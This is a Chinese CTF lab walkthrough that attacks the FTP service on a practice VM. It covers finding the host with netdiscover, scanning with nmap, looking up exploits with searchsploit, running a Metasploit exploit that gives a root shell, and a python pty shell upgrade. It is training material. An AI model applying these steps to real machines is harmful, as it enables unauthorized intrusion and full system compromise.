ctf训练 服务安全FTP服务
FTP介绍
FTP是File Transfer Protocol(文件传输协议)的英文简称,而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的FTP应用程序,而所有这些应用程序都遵守同一种协议以传输文件。在FTP的使用当中,用户经常遇到两个概念:"下载”(Downloac)和上传(Upload)。"下载"文件就是从远程主机考贝文件至自己的计算机上,"上传"文件就是将文件从自己的计算机中拷贝至远程主机上。用Intermet语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。
实验环境
一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/1rpLoBzshiEfq8prxCIvHWA
提取码:o61r
安装打开靶机(使用Oracle VM VirtualBox打开):
(注意
:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)
接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台
使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机,靶机ip为192.168.43.111
本机ip为192.168.43.96
信息探测
扫描主机服务信息以及服务版本
– nmap -sV 靶场ip地址
我们可以看到靶场开放的端口和对应的服务,此靶场机器上开启了ssh服务和ftp服务
快速扫描主机全部信息
– nmap -T4 -A -v 靶场ip地址
发现漏洞
分析nmap扫描结果,并对结果进行分析,挖掘可以利用的信息;这里我们发现了版本号
使用seachsploit+版本号
,查看漏洞信息,找到可利用的溢出代码
我们这里查看一下上面的文件信息,看一看文件里有没有什么值得利用的东西,结果是没有
使用metasploit进行溢出
打开Metasploit在终端中输入 msfconsole
搜索漏洞
输入search对应的软件及版本号
使用exploi
– use exploit
利用漏洞
查看可以使用的payload
– show payload
设置payload
– set payload
设置参数
这里就可以查看具体需要设置哪些参数
– show options
– set rhost靶场IP
– set lhost攻击机IP
再一次show options查看对应参数
进行远程溢出
– exploit
执行命令
id
查看到我们拿到的用户权限,这里是直接拿到了root权限
优化shell
使用python pty开启终端(把终端格式修改为平时我们所使用的模式)
python -c “import pty;pty.spawn(‘/ bin /bash’)”
获取Flag
一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。
cd / root/
ls
总结
对于开放FTP,SSH,Talnet等服务的系统,可以尝试一些对应服务版本的漏洞代码;
对于系统,一定要注意利用现成dEXP来root主机